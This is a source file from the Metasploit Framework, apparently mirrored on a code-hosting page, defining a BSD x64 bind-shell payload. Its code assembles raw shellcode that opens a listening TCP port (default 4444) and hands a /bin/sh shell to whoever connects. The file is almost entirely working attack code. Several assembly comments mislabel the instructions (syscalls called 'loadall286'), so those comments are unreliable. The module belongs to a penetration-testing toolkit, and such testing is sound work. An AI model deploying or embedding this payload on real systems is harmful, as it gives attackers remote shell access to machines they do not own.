Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 136910include Msf::Payload::Single11include Msf::Payload::Bsd12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'BSD x64 Shell Bind TCP',17'Description' => 'Bind an arbitrary command to an arbitrary port',18'Author' => [19'nemo <nemo[at]felinemenace.org>',20'joev'21],22'License' => MSF_LICENSE,23'Platform' => 'bsd',24'Arch' => ARCH_X64,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::CommandShellUnix27))2829# exec payload options30register_options(31[32OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),33Opt::LPORT(4444)34])35end3637# build the shellcode payload dynamically based on the user-provided CMD38def generate(_opts = {})39cmd = (datastore['CMD'] || '') + "\x00"40port = [datastore['LPORT'].to_i].pack('n')41call = "\xe8" + [cmd.length].pack('V')42payload =43"\x31\xc0" + # xor eax,eax44"\x83\xc0\x61" + # add eax,0x6145"\x6A\x02" + # push byte 0x146"\x5f" + # pop rdi47"\x6A\x01" + # push byte 0x148"\x5e" + # pop rsi49"\x48\x31\xD2" + # xor rdx,rdx50"\x0F\x05" + # loadall28651"\x48\x89\xC7" + # mov rdi,rax52"\x31\xc0" + # xor eax,eax53"\x83\xc0\x68" + # add eax,0x6854"\x48\x31\xF6" + # xor rsi,rsi55"\x56" + # push rsi56"\xBE\x00\x02" + port + # mov esi,0xb315020057"\x56" + # push rsi58"\x48\x89\xE6" + # mov rsi,rsp59"\x6A\x10" + # push 0x1060"\x5A" + # pop rdx61"\x0F\x05" + # loadall28662"\x31\xc0" + # xor eax,eax63"\x83\xc0\x6A" + # add eax,0x6a64"\x48\x31\xF6" + # xor rsi,rsi65"\x48\xFF\xC6" + # inc rsi66"\x49\x89\xFC" + # mov r12,rdi67"\x0F\x05" + # loadall28668"\x31\xc0" + # xor eax,eax69"\x83\xc0\x1E" + # add eax,0x1e70"\x4C\x89\xE7" + # mov rdi,r1271"\x48\x89\xE6" + # mov rsi,rsp72"\x48\x89\xE2" + # mov rdx,rsp73"\x48\x83\xEA\x04" + # sub rdx,byte +0x474"\x0F\x05" + # loadall28675"\x48\x89\xC7" + # mov rdi,rax76"\x31\xc0" + # xor eax,eax77"\x83\xc0\x5A" + # add eax,0x5a78"\x48\x31\xF6" + # xor rsi,rsi79"\x0F\x05" + # loadall28680"\x31\xc0" + # xor eax,eax81"\x83\xc0\x5A" + # add eax,0x5a82"\x48\xFF\xC6" + # inc rsi83"\x0F\x05" + # loadall28684"\x48\x31\xC0" + # xor rax,rax85"\x31\xc0" + # xor eax,eax86"\x83\xc0\x3b" + # add eax,0x3b87call + # call CMD.len88cmd + # CMD89"\x48\x8b\x3c\x24" + # mov rdi, [rsp]90"\x48\x31\xD2" + # xor rdx,rdx91"\x52" + # push rdx92"\x57" + # push rdi93"\x48\x89\xE6" + # mov rsi,rsp94"\x0F\x05" # loadall28695end96end979899